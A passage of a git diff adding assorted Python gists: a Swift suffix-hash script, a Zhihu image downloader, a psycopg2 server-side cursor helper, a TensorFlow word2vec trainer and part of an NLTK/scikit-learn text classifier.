add_attributes(field, css): + attrs = {} + definition = css.split(',') + + for d in definition: + if ':' not in d: + attrs['class'] = d + else: + t, v = d.split(':') + attrs[t] = v + + return field.as_widget(attrs=attrs) \ No newline at end of file diff --git a/hard-gists/035dc3b722b7f89cce66520dde285c9a/._snippet.py b/hard-gists/035dc3b722b7f89cce66520dde285c9a/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/035dc3b722b7f89cce66520dde285c9a/._snippet.py differ diff --git a/hard-gists/035dc3b722b7f89cce66520dde285c9a/snippet.py b/hard-gists/035dc3b722b7f89cce66520dde285c9a/snippet.py new file mode 100644 index 00000000..e0724de2 --- /dev/null +++ b/hard-gists/035dc3b722b7f89cce66520dde285c9a/snippet.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python +import sys +from argparse import ArgumentParser + +from swift.common.direct_client import direct_get_suffix_hashes +from swift.common.storage_policy import POLICIES + +parser = ArgumentParser() +parser.add_argument('--policy-index', default=0, help='policy index') +parser.add_argument('part', help='the part') +parser.add_argument('-s', '--suffix', nargs='*', + help='any suffixes to recalculate') +parser.add_argument('-d', '--device', help='limit command to single node') + + +def main(): + args = parser.parse_args() + + policy = POLICIES[args.policy_index] + + policy.load_ring('/etc/swift/') + ring = policy.object_ring + + suffixes = args.suffix or [] + for node in ring.devs: + if node is None: + continue + if args.device and node['device'] != args.device: + continue + data = direct_get_suffix_hashes( + node, args.part, suffixes, headers={ + 'x-backend-storage-policy-index': int(policy)}) + print node['ip'], node['port'], node['device'] + print data + +if __name__ == "__main__": + sys.exit(main()) diff --git a/hard-gists/037e4134d8271c0de71b838a461e7ac1/._snippet.py b/hard-gists/037e4134d8271c0de71b838a461e7ac1/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/037e4134d8271c0de71b838a461e7ac1/._snippet.py differ diff --git a/hard-gists/037e4134d8271c0de71b838a461e7ac1/snippet.py b/hard-gists/037e4134d8271c0de71b838a461e7ac1/snippet.py new file mode 100644 index 00000000..236eaf2c --- /dev/null +++ b/hard-gists/037e4134d8271c0de71b838a461e7ac1/snippet.py @@ -0,0 +1,164 @@ +#-*- coding=utf-8 -*- +""" +知乎图片下载器 +""" +import requests +import re +import json +import time +from PIL import Image +import cStringIO +import cookielib +import urllib +import os + +api_url='https://www.zhihu.com/node/QuestionAnswerListV2' +login_url='https://www.zhihu.com/login/' +topic_url='https://www.zhihu.com/question/' + + +headers={ +'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36' +} + +session=requests.Session() +session.headers=headers +session.cookies = cookielib.LWPCookieJar(filename='cookies') +try: + session.cookies.load(ignore_discard=True) +except: + print u"未登陆过,需先登录" + + +def get_xsrf(url="http://www.zhihu.com"): + '''''_xsrf 是一个动态变化的参数''' + global session + index_url = url + index_page = session.get(index_url) + html = index_page.content + pattern = r'name="_xsrf" value="(.*?)"' + _xsrf = re.findall(pattern, html) + return _xsrf[0] + + +def ImageScale(url,session=None): + if session==None: + session=requests.Session() + file = cStringIO.StringIO(session.get(url).content) + img = Image.open(file) + img.show() + + +def get_captcha(): + global session + t=str(int(time.time()*1000)) + captcha_url='https://www.zhihu.com/captcha.gif?r=%s&type=login'%t + print captcha_url + ImageScale(captcha_url,session) + print u'请输入验证码:' + yzm=raw_input() + return yzm + +def isLogin(): + global session + url = "https://www.zhihu.com/settings/profile" + login_code = session.get(url, allow_redirects=False).status_code + if int(x=login_code) == 200: + return True + else: + return False + +def login(email,passwd): + global session + isemail=re.search('@',email) + if isemail: + loginurl=login_url+'email' + data={'_xsrf':get_xsrf() + ,'password':passwd + ,'remember_me':'true' + ,'email':email} + else: + loginurl=login_url+'phone_num' + data={'_xsrf':get_xsrf() + ,'password':passwd + ,'remember_me':'true' + ,'phone_num':email} + try: + login_page=session.post(loginurl,data=data) + login_code=login_page.content + print login_page.status + print login_code + except: + data['captcha']=get_captcha() + login_page=session.post(loginurl,data=data) + login_code=json.loads(login_page.content) + print login_code['msg'] + session.cookies.save() + + +def get_pic_from_topic(id,offset): + global session + topicurl=topic_url+str(id) + _xsrf=get_xsrf(topicurl) + pic_re=re.compile('data-actualsrc="(.*?)"') + inner_data={"url_token":id + ,"pagesize":10 + ,"offset":offset + } + data={'method':'next' + ,'params':json.dumps(inner_data) + } + session.headers['Referer']=topicurl + session.headers['Host']='www.zhihu.com' + session.headers['Origin']='https://www.zhihu.com' + session.headers['X-Xsrftoken']=_xsrf + js_data=session.post(api_url,data=data) + dat=json.loads(js_data.content)['msg'] + pictures=[] + for d in dat: + pics=pic_re.findall(d) + picss=[re.sub('_b','_r',x) for x in pics] + pictures.extend(picss) + return pictures + +def downloader(url,path): + try: + filename=url.split('/')[-1] + save=os.path.join(path,filename) + print u'开始下载 ',filename + urllib.urlretrieve(url,filename=save) + except Exception,e: + print u'下载出错,错误信息为:' + print e + + +if __name__=='__main__': + email='知乎账号' + passwd='知乎密码' + is_login=isLogin() + if not is_login: + login(email,passwd) + offset=0 + pictures=[] + print u"""####################\n# 知乎图片下载器 #\n#################### + """ + print u"请输入知乎问题id,比如https://www.zhihu.com/question/52049909,id就是52049909" + id=input() + print u'=====开始解析======' + while 1: + print u"+++++正在解析第%d页+++++"%(offset/10+1) + pics=get_pic_from_topic(id,offset) + if len(pics)==0: + print u"解析完毕,共找到%d张图片"%len(pictures) + break + pictures.extend(pics) + offset+=10 + print u"=====开始下载图片=====" + basepath=os.path.abspath('.') + savepath=os.path.join(basepath,str(id)) + if not os.path.exists(savepath): + os.mkdir(savepath) + for pic in pictures: + downloader(pic,savepath) + print u"=====下载完毕=====" + \ No newline at end of file diff --git a/hard-gists/03d9c46c86691c9bb680/._snippet.py b/hard-gists/03d9c46c86691c9bb680/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/03d9c46c86691c9bb680/._snippet.py differ diff --git a/hard-gists/03d9c46c86691c9bb680/snippet.py b/hard-gists/03d9c46c86691c9bb680/snippet.py new file mode 100644 index 00000000..265db9fe --- /dev/null +++ b/hard-gists/03d9c46c86691c9bb680/snippet.py @@ -0,0 +1,95 @@ +import uuid +import psycopg2 +from psycopg2.extras import DictCursor + +from django.conf import settings +from django.db import models +from django.contrib.auth.models import User + + +class classproperty(object): + def __init__(self, fget): + self.fget = fget + + def __get__(self, owner_self, owner_cls): + return self.fget(owner_cls) + + +class LargeQueryConnectionMixin(object): + """Going native on the db for speed and server side cursors + which is necessary when dealing with very large result sets""" + @classmethod + def fetch(cls, sql, params_list): + with psycopg2.connect(cls.db_dsn, cursor_factory=DictCursor) as conn: + with conn.cursor() as c: + c.execute("SET TIME ZONE %s", [settings.TIME_ZONE]) + # you must have psycopg2 >= 2.6 to get proper exec handling for cursor context manager + # see https://github.com/psycopg/psycopg2/issues/262 + with conn.cursor(cls.ss_cursor_name) as c: + c.itersize = 100 # 100 to 1000 should be reasonable + c.execute(sql, params_list) + for row in c: + yield row + + @classproperty + def db_dsn(cls): + return "dbname=%s user=%s" % ( + settings.DATABASES['default']['NAME'], + settings.DATABASES['default']['USER']) + + @classproperty + def ss_cursor_name(cls): + "generates `random`ish server side cursor name" + return 'cur_%s' % str(uuid.uuid4()).replace('-', '')[:10] + + +class Report(models.Model, LargeQueryConnectionMixin): + created = models.DateTimeField() + user = models.ForeignKey(User) + # .... more model attribs + + @classmethod + def some_specific_report(cls, limit=2000000): + sql = "SELECT * from gigantic_table limit %s" + return cls.fetch(sql, [limit]) + + +# ------------ usage -------------- +# this can churn through insanely huge result sets +# and memory usage will remain extremely low +for row in Report.some_specific_report(100000): + # write to disk and flush + # with this generator + # data is accessed via row[INDEX] or row['COLUMN_NAME'] + print row + + + +""" ____ PostgreSQL log verification ____ +2015-04-22 12:24:08 EDT LOG: statement: BEGIN +2015-04-22 12:24:08 EDT LOG: statement: SET TIME ZONE 'US/Pacific' +2015-04-22 12:24:08 EDT LOG: statement: DECLARE "cur_fa30e88f84" CURSOR WITHOUT HOLD FOR SELECT * from gigantic_table limit 100000 +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: CLOSE "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: COMMIT +""" \ No newline at end of file diff --git a/hard-gists/03de5c4c21138da5c29d/._snippet.py b/hard-gists/03de5c4c21138da5c29d/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/03de5c4c21138da5c29d/._snippet.py differ diff --git a/hard-gists/03de5c4c21138da5c29d/snippet.py b/hard-gists/03de5c4c21138da5c29d/snippet.py new file mode 100644 index 00000000..49ad8b63 --- /dev/null +++ b/hard-gists/03de5c4c21138da5c29d/snippet.py @@ -0,0 +1,530 @@ +"""Multi-threaded word2vec mini-batched skip-gram model. + +Trains the model described in: +(Mikolov, et. al.) Efficient Estimation of Word Representations in Vector Space +ICLR 2013. +http://arxiv.org/abs/1301.3781 +This model does traditional minibatching. + +The key ops used are: +* placeholder for feeding in tensors for each example. +* embedding_lookup for fetching rows from the embedding matrix. +* sigmoid_cross_entropy_with_logits to calculate the loss. +* GradientDescentOptimizer for optimizing the loss. +* skipgram custom op that does input processing. +""" +from __future__ import print_function + +import os +import sys +import threading +import time + +import tensorflow.python.platform + +import numpy as np +import tensorflow as tf + +from tensorflow.models.embedding import gen_word2vec as word2vec + +flags = tf.app.flags + +flags.DEFINE_string("save_path", None, "Directory to write the model and " + "training summaries.") +flags.DEFINE_string("train_data", None, "Training text file. " + "E.g., unzipped file http://mattmahoney.net/dc/text8.zip.") +flags.DEFINE_string( + "eval_data", None, "File consisting of analogies of four tokens." + "embedding 2 - embedding 1 + embedding 3 should be close " + "to embedding 4." + "E.g. https://word2vec.googlecode.com/svn/trunk/questions-words.txt.") +flags.DEFINE_integer("embedding_size", 200, "The embedding dimension size.") +flags.DEFINE_integer( + "epochs_to_train", 15, + "Number of epochs to train. Each epoch processes the training data once " + "completely.") +flags.DEFINE_float("learning_rate", 0.2, "Initial learning rate.") +flags.DEFINE_integer("num_neg_samples", 100, + "Negative samples per training example.") +flags.DEFINE_integer("batch_size", 16, + "Number of training examples processed per step " + "(size of a minibatch).") +flags.DEFINE_integer("concurrent_steps", 12, + "The number of concurrent training steps.") +flags.DEFINE_integer("window_size", 5, + "The number of words to predict to the left and right " + "of the target word.") +flags.DEFINE_integer("min_count", 5, + "The minimum number of word occurrences for it to be " + "included in the vocabulary.") +flags.DEFINE_float("subsample", 1e-3, + "Subsample threshold for word occurrence. Words that appear " + "with higher frequency will be randomly down-sampled. Set " + "to 0 to disable.") +flags.DEFINE_boolean( + "interactive", False, + "If true, enters an IPython interactive session to play with the trained " + "model. E.g., try model.analogy('france', 'paris', 'russia') and " + "model.nearby(['proton', 'elephant', 'maxwell']") +flags.DEFINE_integer("statistics_interval", 5, + "Print statistics every n seconds.") +flags.DEFINE_integer("summary_interval", 5, + "Save training summary to file every n seconds (rounded " + "up to statistics interval.") +flags.DEFINE_integer("checkpoint_interval", 600, + "Checkpoint the model (i.e. save the parameters) every n " + "seconds (rounded up to statistics interval.") +flags.DEFINE_boolean( + "use", False, + "If true, loads previously saved model. Typically used with interactive.") + +FLAGS = flags.FLAGS + + +class Options(object): + """Options used by our word2vec model.""" + + def __init__(self): + # Model options. + + # Embedding dimension. + self.emb_dim = FLAGS.embedding_size + + # Training options. + # The training text file. + self.train_data = FLAGS.train_data + + # Number of negative samples per example. + self.num_samples = FLAGS.num_neg_samples + + # The initial learning rate. + self.learning_rate = FLAGS.learning_rate + + # Number of epochs to train. After these many epochs, the learning + # rate decays linearly to zero and the training stops. + self.epochs_to_train = FLAGS.epochs_to_train + + # Concurrent training steps. + self.concurrent_steps = FLAGS.concurrent_steps + + # Number of examples for one training step. + self.batch_size = FLAGS.batch_size + + # The number of words to predict to the left and right of the target word. + self.window_size = FLAGS.window_size + + # The minimum number of word occurrences for it to be included in the + # vocabulary. + self.min_count = FLAGS.min_count + + # Subsampling threshold for word occurrence. + self.subsample = FLAGS.subsample + + # How often to print statistics. + self.statistics_interval = FLAGS.statistics_interval + + # How often to write to the summary file (rounds up to the nearest + # statistics_interval). + self.summary_interval = FLAGS.summary_interval + + # How often to write checkpoints (rounds up to the nearest statistics + # interval). + self.checkpoint_interval = FLAGS.checkpoint_interval + + # Where to write out summaries. + self.save_path = FLAGS.save_path + + # Eval options. + # The text file for eval. + self.eval_data = FLAGS.eval_data + + +class Word2Vec(object): + """Word2Vec model (Skipgram).""" + + def __init__(self, options, session): + self._options = options + self._session = session + self._word2id = {} + self._id2word = [] + self.build_graph() + self.build_eval_graph() + self.save_vocab() + self._read_analogies() + + def _read_analogies(self): + """Reads through the analogy question file. + + Returns: + questions: a [n, 4] numpy array containing the analogy question's + word ids. + questions_skipped: questions skipped due to unknown words. + """ + questions = [] + questions_skipped = 0 + with open(self._options.eval_data) as analogy_f: + for line in analogy_f: + if line.startswith(":"): # Skip comments. + continue + words = line.strip().lower().split(" ") + ids = [self._word2id.get(w.strip()) for w in words] + if None in ids or len(ids) != 4: + questions_skipped += 1 + else: + questions.append(np.array(ids)) + print("Eval analogy file: ", self._options.eval_data) + print("Questions: ", len(questions)) + print("Skipped: ", questions_skipped) + self._analogy_questions = np.array(questions, dtype=np.int32) + + def forward(self, examples, labels): + """Build the graph for the forward pass.""" + opts = self._options + + # Declare all variables we need. + # Embedding: [vocab_size, emb_dim] + init_width = 0.5 / opts.emb_dim + emb = tf.Variable( + tf.random_uniform( + [opts.vocab_size, opts.emb_dim], -init_width, init_width), + name="emb") + self._emb = emb + + # Softmax weight: [vocab_size, emb_dim]. Transposed. + sm_w_t = tf.Variable( + tf.zeros([opts.vocab_size, opts.emb_dim]), + name="sm_w_t") + + # Softmax bias: [emb_dim]. + sm_b = tf.Variable(tf.zeros([opts.vocab_size]), name="sm_b") + + # Global step: scalar, i.e., shape []. + self.global_step = tf.Variable(0, name="global_step") + + # Nodes to compute the nce loss w/ candidate sampling. + labels_matrix = tf.reshape( + tf.cast(labels, + dtype=tf.int64), + [opts.batch_size, 1]) + + # Negative sampling. + sampled_ids, _, _ = (tf.nn.fixed_unigram_candidate_sampler( + true_classes=labels_matrix, + num_true=1, + num_sampled=opts.num_samples, + unique=True, + range_max=opts.vocab_size, + distortion=0.75, + unigrams=opts.vocab_counts.tolist())) + + # Embeddings for examples: [batch_size, emb_dim] + example_emb = tf.nn.embedding_lookup(emb, examples) + + # Weights for labels: [batch_size, emb_dim] + true_w = tf.nn.embedding_lookup(sm_w_t, labels) + # Biases for labels: [batch_size, 1] + true_b = tf.nn.embedding_lookup(sm_b, labels) + + # Weights for sampled ids: [num_sampled, emb_dim] + sampled_w = tf.nn.embedding_lookup(sm_w_t, sampled_ids) + # Biases for sampled ids: [num_sampled, 1] + sampled_b = tf.nn.embedding_lookup(sm_b, sampled_ids) + + # True logits: [batch_size, 1] + true_logits = tf.reduce_sum(tf.mul(example_emb, true_w), 1) + true_b + + # Sampled logits: [batch_size, num_sampled] + # We replicate sampled noise lables for all examples in the batch + # using the matmul. + sampled_b_vec = tf.reshape(sampled_b, [opts.num_samples]) + sampled_logits = tf.matmul(example_emb, + sampled_w, + transpose_b=True) + sampled_b_vec + return true_logits, sampled_logits + + def nce_loss(self, true_logits, sampled_logits): + """Build the graph for the NCE loss.""" + + # cross-entropy(logits, labels) + opts = self._options + true_xent = tf.nn.sigmoid_cross_entropy_with_logits( + true_logits, tf.ones_like(true_logits)) + sampled_xent = tf.nn.sigmoid_cross_entropy_with_logits( + sampled_logits, tf.zeros_like(sampled_logits)) + + # NCE-loss is the sum of the true and noise (sampled words) + # contributions, averaged over the batch. + nce_loss_tensor = (tf.reduce_sum(true_xent) + + tf.reduce_sum(sampled_xent)) / opts.batch_size + return nce_loss_tensor + + def optimize(self, loss): + """Build the graph to optimize the loss function.""" + + # Optimizer nodes. + # Linear learning rate decay. + opts = self._options + words_to_train = float(opts.words_per_epoch * opts.epochs_to_train) + lr = opts.learning_rate * tf.maximum( + 0.0001, 1.0 - tf.cast(self._words, tf.float32) / words_to_train) + self._lr = lr + optimizer = tf.train.GradientDescentOptimizer(lr) + train = optimizer.minimize(loss, + global_step=self.global_step, + gate_gradients=optimizer.GATE_NONE) + self._train = train + + def build_eval_graph(self): + """Build the eval graph.""" + # Eval graph + + # Each analogy task is to predict the 4th word (d) given three + # words: a, b, c. E.g., a=italy, b=rome, c=france, we should + # predict d=paris. + + # The eval feeds three vectors of word ids for a, b, c, each of + # which is of size N, where N is the number of analogies we want to + # evaluate in one batch. + analogy_a = tf.placeholder(dtype=tf.int32) # [N] + analogy_b = tf.placeholder(dtype=tf.int32) # [N] + analogy_c = tf.placeholder(dtype=tf.int32) # [N] + + # Normalized word embeddings of shape [vocab_size, emb_dim]. + nemb = tf.nn.l2_normalize(self._emb, 1) + + # Each row of a_emb, b_emb, c_emb is a word's embedding vector. + # They all have the shape [N, emb_dim] + a_emb = tf.gather(nemb, analogy_a) # a's embs + b_emb = tf.gather(nemb, analogy_b) # b's embs + c_emb = tf.gather(nemb, analogy_c) # c's embs + + # We expect that d's embedding vectors on the unit hyper-sphere is + # near: c_emb + (b_emb - a_emb), which has the shape [N, emb_dim]. + target = c_emb + (b_emb - a_emb) + + # Compute cosine distance between each pair of target and vocab. + # dist has shape [N, vocab_size]. + dist = tf.matmul(target, nemb, transpose_b=True) + + # For each question (row in dist), find the top 4 words. + _, pred_idx = tf.nn.top_k(dist, 4) + + # Nodes for computing neighbors for a given word according to + # their cosine distance. + nearby_word = tf.placeholder(dtype=tf.int32) # word id + nearby_emb = tf.gather(nemb, nearby_word) + nearby_dist = tf.matmul(nearby_emb, nemb, transpose_b=True) + nearby_val, nearby_idx = tf.nn.top_k(nearby_dist, + min(1000, self._options.vocab_size)) + + # Nodes in the construct graph which are used by training and + # evaluation to run/feed/fetch. + self._analogy_a = analogy_a + self._analogy_b = analogy_b + self._analogy_c = analogy_c + self._analogy_pred_idx = pred_idx + self._nearby_word = nearby_word + self._nearby_val = nearby_val + self._nearby_idx = nearby_idx + + def build_graph(self): + """Build the graph for the full model.""" + opts = self._options + # The training data. A text file. + (words, counts, words_per_epoch, self._epoch, self._words, examples, + labels) = word2vec.skipgram(filename=opts.train_data, + batch_size=opts.batch_size, + window_size=opts.window_size, + min_count=opts.min_count, + subsample=opts.subsample) + (opts.vocab_words, opts.vocab_counts, + opts.words_per_epoch) = self._session.run([words, counts, words_per_epoch]) + opts.vocab_size = len(opts.vocab_words) + print("Data file: ", opts.train_data) + print("Vocab size: ", opts.vocab_size - 1, " + UNK") + print("Words per epoch: ", opts.words_per_epoch) + self._examples = examples + self._labels = labels + self._id2word = opts.vocab_words + for i, w in enumerate(self._id2word): + self._word2id[w] = i + true_logits, sampled_logits = self.forward(examples, labels) + loss = self.nce_loss(true_logits, sampled_logits) + tf.scalar_summary("NCE loss", loss) + self._loss = loss + self.optimize(loss) + + # Properly initialize all variables. + tf.initialize_all_variables().run() + + self.saver = tf.train.Saver() + + def save_vocab(self): + """Save the vocabulary to a file so the model can be reloaded.""" + opts = self._options + with open(os.path.join(opts.save_path, "vocab.txt"), "w") as f: + for i in xrange(opts.vocab_size): + f.write(opts.vocab_words[i] + " " + str(opts.vocab_counts[i]) + "\n") + + def _train_thread_body(self): + initial_epoch, = self._session.run([self._epoch]) + while True: + _, epoch = self._session.run([self._train, self._epoch]) + if epoch != initial_epoch: + break + + def train(self): + """Train the model.""" + opts = self._options + + initial_epoch, initial_words = self._session.run([self._epoch, self._words]) + + summary_op = tf.merge_all_summaries() + summary_writer = tf.train.SummaryWriter(opts.save_path, + graph_def=self._session.graph_def) + workers = [] + for _ in xrange(opts.concurrent_steps): + t = threading.Thread(target=self._train_thread_body) + t.start() + workers.append(t) + + last_words, last_time, last_summary_time = initial_words, time.time(), 0 + last_checkpoint_time = 0 + while True: + time.sleep(opts.statistics_interval) # Reports our progress once a while. + (epoch, step, loss, words, lr) = self._session.run( + [self._epoch, self.global_step, self._loss, self._words, self._lr]) + now = time.time() + last_words, last_time, rate = words, now, (words - last_words) / ( + now - last_time) + print("Epoch %4d Step %8d: lr = %5.3f loss = %6.2f words/sec = %8.0f\r" % + (epoch, step, lr, loss, rate), end="") + sys.stdout.flush() + if now - last_summary_time > opts.summary_interval: + summary_str = self._session.run(summary_op) + summary_writer.add_summary(summary_str, step) + last_summary_time = now + if now - last_checkpoint_time > opts.checkpoint_interval: + self.saver.save(self._session, + opts.save_path + "model", + global_step=step.astype(int)) + last_checkpoint_time = now + if epoch != initial_epoch: + break + + for t in workers: + t.join() + + return epoch + + def _predict(self, analogy): + """Predict the top 4 answers for analogy questions.""" + idx, = self._session.run([self._analogy_pred_idx], { + self._analogy_a: analogy[:, 0], + self._analogy_b: analogy[:, 1], + self._analogy_c: analogy[:, 2] + }) + return idx + + def eval(self): + """Evaluate analogy questions and reports accuracy.""" + + # How many questions we get right at precision@1. + correct = 0 + + total = self._analogy_questions.shape[0] + start = 0 + while start < total: + limit = start + 2500 + sub = self._analogy_questions[start:limit, :] + idx = self._predict(sub) + start = limit + for question in xrange(sub.shape[0]): + for j in xrange(4): + if idx[question, j] == sub[question, 3]: + # Bingo! We predicted correctly. E.g., [italy, rome, france, paris]. + correct += 1 + break + elif idx[question, j] in sub[question, :3]: + # We need to skip words already in the question. + continue + else: + # The correct label is not the precision@1 + break + print() + print("Eval %4d/%d accuracy = %4.1f%%" % (correct, total, + correct * 100.0 / total)) + + def analogy(self, w0, w1, w2): + """Predict word w3 as in w0:w1 vs w2:w3.""" + wid = np.array([[self._word2id.get(w, 0) for w in [w0, w1, w2]]]) + idx = self._predict(wid) + for c in [self._id2word[i] for i in idx[0, :]]: + if c not in [w0, w1, w2]: + return c + return "unknown" + + def nearby(self, words, num=20): + """Prints out nearby words given a list of words.""" + ids = np.array([self._word2id.get(x, 0) for x in words]) + vals, idx = self._session.run( + [self._nearby_val, self._nearby_idx], {self._nearby_word: ids}) + for i in xrange(len(words)): + print("\n%s\n=====================================" % (words[i])) + for (neighbor, distance) in zip(idx[i, :num], vals[i, :num]): + print("%-20s %6.4f" % (self._id2word[neighbor], distance)) + + def embeddings(self): + return self._emb + +def _start_shell(local_ns=None): + # An interactive shell is useful for debugging/development. + import IPython + user_ns = {} + if local_ns: + user_ns.update(local_ns) + user_ns.update(globals()) + IPython.start_ipython(argv=[], user_ns=user_ns) + +def use(opts): + opts = Options() + with tf.Graph().as_default(), tf.Session() as session: + model = Word2Vec(opts, session) + # Perform a final save. + model.saver.restore(session, + os.path.join(opts.save_path + "/model.ckpt")) + if FLAGS.interactive: + # E.g., + # [0]: model.analogy('france', 'paris', 'russia') + # [1]: model.nearby(['proton', 'elephant', 'maxwell']) + _start_shell(locals()) + +def train(opts): + with tf.Graph().as_default(), tf.Session() as session: + model = Word2Vec(opts, session) + for _ in xrange(opts.epochs_to_train): + model.train() # Process one epoch + model.eval() # Eval analogies. + # Perform a final save. + model.saver.save(session, + os.path.join(opts.save_path, "model.ckpt"), + global_step=model.global_step) + if FLAGS.interactive: + # E.g., + # [0]: model.analogy('france', 'paris', 'russia') + # [1]: model.nearby(['proton', 'elephant', 'maxwell']) + _start_shell(locals()) + +def main(_): + opts = Options() + if FLAGS.use: + use(opts) + elif not FLAGS.train_data or not FLAGS.eval_data or not FLAGS.save_path: + """Train a word2vec model.""" + print("--train_data --eval_data and --save_path must be specified.") + sys.exit(1) + else: + train(opts) + +if __name__ == "__main__": + tf.app.run() diff --git a/hard-gists/044682e76def583a12e6c09209c664a1/._snippet.py b/hard-gists/044682e76def583a12e6c09209c664a1/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/044682e76def583a12e6c09209c664a1/._snippet.py differ diff --git a/hard-gists/044682e76def583a12e6c09209c664a1/snippet.py b/hard-gists/044682e76def583a12e6c09209c664a1/snippet.py new file mode 100644 index 00000000..a5727788 --- /dev/null +++ b/hard-gists/044682e76def583a12e6c09209c664a1/snippet.py @@ -0,0 +1,257 @@ +import os +import time +import string +import pickle + +from operator import itemgetter + +from nltk.corpus import stopwords as sw +from nltk.corpus import wordnet as wn +from nltk import wordpunct_tokenize +from nltk import WordNetLemmatizer +from nltk import sent_tokenize +from nltk import pos_tag + +from sklearn.pipeline import Pipeline +from sklearn.preprocessing import LabelEncoder +from sklearn.linear_model import SGDClassifier +from sklearn.base import BaseEstimator, TransformerMixin +from sklearn.metrics import classification_report as clsr +from sklearn.feature_extraction.text import TfidfVectorizer +from sklearn.cross_validation import train_test_split as tts + + +def timeit(func): + """ + Simple timing decorator + """ + def wrapper(*args, **kwargs): + start = time.time() + result = func(*args, **kwargs) + delta = time.time() - start + return result, delta + return wrapper + + +def identity(arg): + """ + Simple identity function works as a passthrough. + """ + return arg + + +class NLTKPreprocessor(BaseEstimator, TransformerMixin): + """ + Transforms input data by using NLTK tokenization, lemmatization, and + other normalization and filtering techniques. + """ + + def __init__(self, stopwords=None, punct=None, lower=True, strip=True): + """ + Instantiates the preprocessor, which make load corpora, models, or do + other time-intenstive NLTK data loading. + """ + self.lower = lower + self.strip = strip + self.stopwords = set(stopwords) if stopwords else set(sw.words('english')) + self.punct = set(punct) if punct else set(string.punctuation) + self.lemmatizer = WordNetLemmatizer() + + def fit(self, X, y=None): + """ + Fit simply returns self, no other information is needed. + """ + return self + + def inverse_transform(self, X): + """ + No inverse transformation + """ + return X + + def transform(self, X): + """ + Actually runs the preprocessing on each document. + """ + return [ + list(self.tokenize(doc)) for doc in X + ] + + def tokenize(self, document): + """ + Returns a normalized, lemmatized list of tokens from a document by + applying segmentation (breaking into sentences), then word/punctuation + tokenization, and finally part of speech tagging. It uses the part of + speech tags to look up the lemma in WordNet, and returns the lowercase + version of all the words, removing stopwords and punctuation. + """ + # Break the document into sentences + for sent in sent_tokenize(document): + # Break the sentence into part of speech tagged tokens + for token, tag in pos_tag(wordpunct_tokenize(sent)): + # Apply preprocessing to the token + token = token.lower() if self.lower else token + token = token.strip() if self.strip else token + token = token.strip('_') if self.strip else token + token = token.strip('*') if self.strip else token + + # If punctuation or stopword, ignore token and continue + if token in self.stopwords or all(char in self.punct for char in token): + continue + + # Lemmatize the token and yield + lemma = self.lemmatize(token, tag) + yield lemma + + def lemmatize(self, token, tag): + """ + Converts the Penn Treebank tag to a WordNet POS tag, then uses that + tag to perform much more accurate WordNet lemmatization. + """ + tag = { + 'N': wn.NOUN, + 'V': wn.VERB, + 'R': wn.ADV, + 'J': wn.ADJ + }.get(tag[0], wn.NOUN) + + return self.lemmatizer.lemmatize(token, tag) + + + +@timeit +def build_and_evaluate(X, y, classifier=SGDClassifier, outpath=None, verbose=True): + """ + Builds a classifer for the given list of documents and targets in two + stages: the first does a train/test split and prints a classifier report, + the second rebuilds the model on the entire corpus and returns it for + operationalization. + + X: a list or iterable of raw strings, each representing a document. + y: a list or iterable of labels, which will be label encoded. + + Can specify the classifier to build with: if a class is specified then + this will build the model with the Scikit-Learn defaults, if an instance + is given, then it will be used directly in the build pipeline. + + If outpath is given, this function will write the model as a pickle. + If verbose, this function will print out information to the command line. + """ + + @timeit + def build(classifier, X, y=None): + """ + Inner build function that builds a single model. + """ + if isinstance(classifier, type): + classifier = classifier() + + model = Pipeline([ + ('preprocessor', NLTKPreprocessor()), + ('vectorizer', TfidfVectorizer(tokenizer=identity, preprocessor=None, lowercase=False)), + ('classifier', classifier), + ]) + + model.fit(X, y) + return model + + # Label encode the targets + labels = LabelEncoder() + y = labels.fit_transform(y) + + # Begin evaluation + if verbose: print("Building for 